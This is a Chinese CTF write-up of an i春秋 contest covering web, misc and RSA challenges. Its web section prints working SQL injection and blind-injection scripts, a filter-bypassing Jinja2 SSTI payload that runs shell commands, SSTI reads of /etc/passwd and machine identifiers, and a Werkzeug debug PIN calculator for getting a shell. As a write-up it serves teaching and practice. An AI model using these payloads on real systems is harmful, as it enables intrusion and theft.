WEB

[Day1] 简单的招聘系统

题目给出来一个登录框,万能密码可以登录成功,在Blank Page页面有一个搜索框,猜测存在注入,1' and 1=1#没有回显,1' or 1=1#有回显,后来在其他师傅那了解到and其实也是可以的,但是前面要为Profile页面的key。
猜字段长度:

1
2
' or 1 order by 5# /有回显
' or 1 order by 6# /报错

查询数据库:

1
' union select 1,database(),3,4,5#

查询表名:

1
' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#

查询列名:

1
' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='flag'#

查询字段内容:

1
' union select 1,group_concat(flaaag),3,4,5 from flag#

同时在登录处存在注入,可以先注册一个账号,通过脚本跑出flag
盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://213cb3d011d641808d6b308725fb67590d8f15f28bc84128.changame.ichunqiu.com/'

# payload = "15h3na0' and (select (mid((select database()),1,{0})))!='{1}"
# payload = "15h3na0' and (select (mid((select table_name from information_schema.tables where table_schema='nzhaopin' limit 1 offset 3),1,{0})))!='{1}"
# payload = "15h3na0' and (select (mid((select column_name from information_schema.columns where table_name='flag' limit 1 offset 1),1,{0})))!='{1}"
payload = "15h3na0' and (select (mid((select flaaag from flag limit 1 offset 0),1,{0})))!='{1}"
database = ''
letter = 'abcdefghijklmnopqrstuvwxyz0123456789_-{}'
for i in range(1, 99):
for n in letter:
data = {
"lname": payload.format(i, database + n),
"lpass": "123"
}
req = requests.post(url, data=data)
req.encoding = 'gbk'
if "成功" not in req.text.encode('gbk').decode(req.apparent_encoding):
database += n
print(database)
break

也可以直接输入用户名:

1
'or 1=1 union select 1,(select flaaag from flag),3,4,5#

直接登录,登陆后用户名即为flag:

[Day1] 盲注

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

源码给出了表名,经过fuzz,发现过滤了一些了一些字符,如:

1
union select like = updatexml

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import time

url = 'http://657cdf52995e4446af60061216c8a752b6fd1938b52f41f4.changame.ichunqiu.com/?id='

flag = ''
letter = 'abcdefghijklmnopqrstuvwxyz0123456789{}-'
for i in range(99):
for n in letter:
payload = '1 and if((fl4g regexp "^{0}"),sleep(2),5);' # 等号和like被过滤,用regexp绕过
payload = payload.format(flag+n)
start_time = time.time()
req = requests.get(url+payload)
if (time.time() - start_time)>1.5:
flag += n
print(flag)
break

gtfly大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import time

url = 'http://657cdf52995e4446af60061216c8a752b6fd1938b52f41f4.changame.ichunqiu.com/'

payload = "?id=case when ascii(substr(fl4g from {})) regexp {} then sleep(2) else 0 end" # time

flag = ''
for i in range(1, 100):
for j in range(33, 128):
try:
s = requests.get(url + payload.format(i, j), timeout=1)
except:
flag += chr(j)
print(flag)
break

[Day1] ezupload

这题翻车了,直接传马就能读readflag。

[Day1] babyphp

这题…P3师傅🐂🍺!

[Day2] easysqli_copy

太菜了,这题未解出…
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

[Day2] blacklist

2019复旦校赛改编题,同时改编自强网杯2019 随便注,很多关键词被过滤了,可以利用MySQL新特性handler进行绕过,此题可参考一叶飘零师傅博客:2019 FudanCTF Writeup

Payload:

1
1';handler `FlagHere` open;handler `FlagHere` read first;#

[Day3] Flaskapp

该题给出了一个Flask框架的base64加密解密小程序,考察内容跟[CISCN2019 华东南赛区]Double Secret很相似,BUUCTF有复现环境,想复现的可以去看一下。该题种在解密处提交错误后,因为开启了Debug模式,会弹出报错页面,给出部分重要代码:

这道题的解题方法有两种:1.利用服务端模板注入(SSTI)漏洞getshell 2.算出PIN码

方法1.SSTI漏洞

可以直接利用P神写的POC进行getshell,但有过滤,可以拆分关键词进行绕过:

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fla'+'g.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

先对上面的POC进行base64加密再解密:

1
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX0KeyUgaWYgYy5fX25hbWVfXyA9PSAnY2F0Y2hfd2FybmluZ3MnICV9CiAgeyUgZm9yIGIgaW4gYy5fX2luaXRfXy5fX2dsb2JhbHNfXy52YWx1ZXMoKSAlfQogIHslIGlmIGIuX19jbGFzc19fID09IHt9Ll9fY2xhc3NfXyAlfQogICAgeyUgaWYgJ2V2YScrJ2wnIGluIGIua2V5cygpICV9CiAgICAgIHt7IGJbJ2V2YScrJ2wnXSgnX19pbXBvcicrJ3RfXycrJygibycrJ3MiKScrJy5wb3BlJysnbicrJygiY2F0IC90aGlzX2lzX3RoZV9mbGEnKydnLnR4dCIpLnJlYWQoKScpIH19CiAgICB7JSBlbmRpZiAlfQogIHslIGVuZGlmICV9CiAgeyUgZW5kZm9yICV9CnslIGVuZGlmICV9CnslIGVuZGZvciAlfQ==

方法2.计算PIN码

读取/etc/passwd,看到有flaskweb用户:

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

读取/proc/self/cgroup获取get_machine_id()(docker后面那段字符串):

1
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}

读取/sys/class/net/eth0/address获取str(uuid.getnode()),给出的是16进制,转为10进制得到2485377957894

1
{{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

下面使用大佬的脚本计算出PIN码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377957894',# str(uuid.getnode()), /sys/class/net/ens33/address
'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

在解密报错页面右侧有一个终端图标,点击输入PIN码,便可打开Shell:

至此,成功getshell,接下来就很简单了:

1
2
3
4
5
import os

print(os.popen('ls').read())

print(os.popen('cat /this_is_the_flag.txt').read())

[Day3] easy_thinking

前段时间爆出来的TP6.0 session漏洞,没做出来,等消化消化大佬的思路再写…

MISC

[Day1] code_in_morse

首先是流量分析,导出HTTP对象,导出的图片内容为摩斯密码,解密后为base32,可以通过Python脚本转化为图片,也可以使用极强的工具CyberChef直接转化为图片:

另附Python脚本:

1
2
3
4
5
6
7
8
import base64
import binascii
b32 = "GE2WQM3OMEYAU===" # 引号内容改为解出来的base32,太长了所以我改了一个放了进去
hex = base64.b32decode(b32)
print(hex)
f1 = open("1.png",'wb')
f1.write(hex)
f1.close()

解出来是一张PDF47二维码,通过在线网站扫描得到另一张图:

套娃!停止思考了!

在该图的属性内发现hint为F5,所以猜测为F5隐写,通过工具进行解密,此处最坑的是没有密码…

CRYPTO

EasyRSA

题目:

1
2
3
4
5
n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

考察共模攻击,直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import sys
import binascii
sys.setrecursionlimit(1000000)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m

n = 27560959918385616419486273009594513460044316476337842585463553105701869531698366304637678008602799005181601310816935394003041930445509801196554897781529962616349442136039951911764620999116915741924245788988332766182305635804754798018489793066811741026902011980807157882639313892932653620491354630354060462594865874663773934670618930504925812833202047183166423043264815905853486053255310346030416687430724204177468176762512566055165798172418622268751968793997676391170773216291607752885987933866163158257336522567086228092863302685493888839866559622429685925525799985062044536032584132602747754107800116960090941957657
e1 = 464857
e2 = 190529
c1 = 21823306870841016169952481786862436752894840403702198056283357605213928505593301063582851595978932538906067287633295577036042158302374948726749348518563038266373826871950904733691046595387955703305846728530987885075910490362453202598654326947224392718573893241175123285569008519568745153449344966513636585290770127055273442962689462195231016899149101764299663284434805817339348868793709084130862028614587704503862805479792184019334567648078767418576316170976110991128933886639402771294997811025942544455255589081280244545901394681866421223066422484654301298662143648389546410087950190562132305368935595374543145047531
c2 = 9206260935066257829121388953665257330462733292786644374322218835580114859866206824679553444406457919107749074087554277542345820215439646770680403669560474462369400641865810922332023620699210211474208020801386285068698280364369889940167999918586298280468301097349599560130461998493342138792264005228209537462674085410740693861782834212336781821810115004115324470013999092462310414257990310781534056807393206155460371454836230410545171068506044174001172922614805135260670524852139187370335492876094059860576794839704978988507147972109411033377749446821374195721696073748745825273557964015532261000826958288349348269664

s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]

if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
print(m)
print (binascii.unhexlify(hex(m)[2:].strip("L")))

参考链接:深入浅出RSA在CTF中的攻击套路